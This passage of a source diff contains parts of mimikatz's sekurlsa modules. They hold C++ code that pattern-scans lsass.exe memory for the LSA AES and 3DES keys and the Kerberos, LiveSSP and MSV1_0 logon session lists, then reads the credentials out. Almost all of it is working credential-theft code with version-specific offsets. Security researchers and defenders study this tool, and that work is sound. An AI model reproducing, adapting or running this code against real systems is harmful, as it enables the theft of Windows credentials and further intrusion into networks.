h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey));
hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
#elif defined _M_IX86
PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector);
hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey);
h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey);
hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2);
h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2);
#endif
if(hBCrypt && LsaInitializeProtectedMemory())
{
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
KIWI_BCRYPT_KEY maCle;
KIWI_BCRYPT_KEY_DATA maCleData;
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;)
mesSucces++;
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
}
else wcout << L"LsaInitializeProtectedMemory NT6 KO" << endl;
}
else wcout << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
return (mesSucces == 3);
}
bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData()
{
if(hBCrypt)
{
LsaCleanupProtectedMemory();
FreeLibrary(hBCrypt);
}
return true;
}
bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory()
{
bool resultat = false;
PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider"));
PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty"));
PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty"));
PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey"));
if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) &&
NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0)))
{
if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) &&
NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0)))
{
DWORD DES3KeyLen, AESKeyLen, cbLen;
if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) &&
NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0)))
{
DES3Key = new BYTE[DES3KeyLen];
AESKey = new BYTE[AESKeyLen];
resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) &&
NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0));
}
}
}
return resultat;
}
bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory()
{
PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey"));
PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider"));
if (h3DesKey )
K_BCryptDestroyKey(*h3DesKey);
if (hAesKey )
K_BCryptDestroyKey(*hAesKey);
if (h3DesProvider)
K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0);
if (hAesProvider )
K_BCryptCloseAlgorithmProvider(*hAesProvider, 0);
if(DES3Key)
delete[] DES3Key;
if(AESKey)
delete[] AESKey;
return true;
}

View File

@ -0,0 +1,45 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_keys_nt6 {
private:
static HMODULE hBCrypt;
typedef struct _KIWI_BCRYPT_KEY_DATA {
DWORD size;
DWORD tag;
DWORD type;
DWORD unk0;
DWORD unk1;
DWORD unk2;
DWORD unk3;
PVOID unk4;
BYTE data; /* etc... */
} KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
typedef struct _KIWI_BCRYPT_KEY {
DWORD size;
DWORD type;
PVOID unk0;
PKIWI_BCRYPT_KEY_DATA cle;
PVOID unk1;
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
static PBYTE DES3Key, AESKey;
static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey;
static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider;
static bool LsaInitializeProtectedMemory();
static bool LsaCleanupProtectedMemory();
public:
static bool searchAndInitLSASSData();
static bool uninitLSASSData();
};

View File

@ -0,0 +1,134 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kerberos.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL);
long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
{
#ifdef _M_X64
BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84};
LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
#elif defined _M_IX86
BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4);
BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4);
BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
#endif
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList);
pattern = PTRN_WALL_KerbFreeLogonSessionList;
taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList);
offset = OFFS_WALL_KerbFreeLogonSessionList;
if(mod_system::GLOB_Version.dwMinorVersion < 2)
offsetMagic = 8;
}
else
{
pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable);
#ifdef _M_X64
pattern = PTRN_WALL_KerbUnloadLogonSessionTable;
taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
offset = OFFS_WALL_KerbUnloadLogonSessionTable;
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
pattern = PTRN_WNO8_KerbUnloadLogonSessionTable;
taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
offset = OFFS_WNO8_KerbUnloadLogonSessionTable;
}
else
{
if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
pattern = PTRN_WIN8_KerbUnloadLogonSessionTable;
taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
offset = OFFS_WIN8_KerbUnloadLogonSessionTable;
}
#endif
}
if(HMODULE monModule = LoadLibrary(L"kerberos"))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
*pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
FreeLibrary(monModule);
}
}
return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
}
bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchKerberosFuncs())
{
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
DWORD taille;
BYTE * monBuff = NULL;
if(KerbGlobalLogonSessionTable)
{
taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
monBuff = new BYTE[taille];
if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
{
if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
{
pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff);
mesCreds = &pLogSession->credentials;
}
}
}
else
{
taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
monBuff = new BYTE[taille];
if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
{
if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
{
pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff);
if(offsetMagic != 0)
pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic);
mesCreds = &pLogSession->credentials;
}
}
}
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
delete [] monBuff;
}
else wcout << L"n.a. (kerberos KO)";
return true;
}

View File

@ -0,0 +1,70 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_kerberos {
private:
typedef struct _KIWI_KERBEROS_LOGON_SESSION
{
struct _KIWI_KERBEROS_LOGON_SESSION *Flink;
struct _KIWI_KERBEROS_LOGON_SESSION *Blink;
DWORD UsageCount;
PVOID unk0;
PVOID unk1;
PVOID unk2;
DWORD unk3;
DWORD unk4;
PVOID unk5;
PVOID unk6;
PVOID unk7;
LUID LocallyUniqueIdentifier;
#ifdef _M_IX86
DWORD unk8;
#endif
DWORD unk9;
DWORD unk10;
PVOID unk11;
DWORD unk12;
DWORD unk13;
PVOID unk14;
PVOID unk15;
PVOID unk16;
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
} KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION;
typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL
{
DWORD unk0;
PVOID unk1;
PVOID unk2;
PVOID unk3;
#ifdef _M_X64
BYTE unk4[32];
#elif defined _M_IX86
BYTE unk4[20];
#endif
LUID LocallyUniqueIdentifier;
#ifdef _M_X64
BYTE unk5[44];
#elif defined _M_IX86
BYTE unk5[36];
#endif
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
} KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL;
static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList;
static long offsetMagic;
static PRTL_AVL_TABLE KerbGlobalLogonSessionTable;
static bool searchKerberosFuncs();
public:
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS;
static bool getKerberos(vector<wstring> * arguments);
static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity);
};

View File

@ -0,0 +1,69 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "livessp.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL;
mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast<mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY>(NULL);
bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getLiveSSPLogonData, wstring(L"livessp")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList()
{
#ifdef _M_X64
BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00};
#elif defined _M_IX86
BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0};
#endif
LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4);
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList)
{
PBYTE *pointeur = reinterpret_cast<PBYTE *>(&LiveGlobalLogonSessionList);
if(HMODULE monModule = LoadLibrary(L"livessp"))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions);
*pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
FreeLibrary(monModule);
}
}
return (pModLIVESSP && LiveGlobalLogonSessionList);
}
bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchLiveGlobalLogonSessionList())
{
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)];
if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId)))
{
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
{
pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(monBuffP);
if(pLogSession->suppCreds)
{
if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
mesCreds = &(reinterpret_cast<PKIWI_LIVESSP_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
}
else wcout << L"n.s. (SuppCred KO) / ";
}
}
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
delete [] monBuffC, monBuffP;
}
else wcout << L"n.a. (livessp KO)";
return true;
}

View File

@ -0,0 +1,44 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "../mod_mimikatz_sekurlsa.h"
class mod_mimikatz_sekurlsa_livessp {
private:
typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL
{
DWORD isSupp; // 88h
DWORD unk0;
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
} KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL;
typedef struct _KIWI_LIVESSP_LIST_ENTRY
{
struct _KIWI_LIVESSP_LIST_ENTRY *Flink;
struct _KIWI_LIVESSP_LIST_ENTRY *Blink;
PVOID unk0; // 1
PVOID unk1; // 0FFFFFFFFh
PVOID unk2; // 0FFFFFFFFh
PVOID unk3; // 0
DWORD unk4; // 0
DWORD unk5; // 0
PVOID unk6; // 20007D0h
LUID LocallyUniqueIdentifier;
LSA_UNICODE_STRING UserName;
PVOID unk7; // 2000010Dh
PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds;
} KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY;
static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList;
static bool searchLiveGlobalLogonSessionList();
public:
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP;
static bool getLiveSSP(vector<wstring> * arguments);
static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity);
};

View File

@ -0,0 +1,217 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "msv1_0.h"
PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL;
PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL;
bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList()
{
#ifdef _M_X64
BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E};
BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8};
LONG OFFS_WALL_LogonSessionList = -sizeof(long);
LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long));
LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long));
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long));
#elif defined _M_IX86
BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD};
BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5};
BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84};
LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG)));
LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG)));
LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1;
LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long));
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long));
#endif
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList)
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0;
#ifdef _M_X64
offsetListe = OFFS_WALL_LogonSessionList;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pattern = PTRN_WIN5_LogonSessionList;
taille = sizeof(PTRN_WIN5_LogonSessionList);
offsetCount = OFFS_WIN5_LogonSessionListCount;
}
else
{
pattern = PTRN_WIN6_LogonSessionList;
taille = sizeof(PTRN_WIN6_LogonSessionList);
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount;
else
offsetCount = OFFS_WIN8_LogonSessionListCount;
}
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1))
{
pattern = PTRN_WN51_LogonSessionList;
taille = sizeof(PTRN_WN51_LogonSessionList);
offsetListe = OFFS_WN51_LogonSessionList;
}
else
{
pattern = PTRN_WNO8_LogonSessionList;
taille = sizeof(PTRN_WNO8_LogonSessionList);
offsetListe = OFFS_WNO8_LogonSessionList;
offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount;
}
}
else
{
pattern = PTRN_WIN8_LogonSessionList;
taille = sizeof(PTRN_WIN8_LogonSessionList);
offsetListe = OFFS_WIN8_LogonSessionList;
offsetCount = OFFS_WIN8_LogonSessionListCount;
}
#endif
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
{
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList);
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe))
{
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
if(offsetCount)
{
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount);
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount))
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
}
}
}
return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount));
}
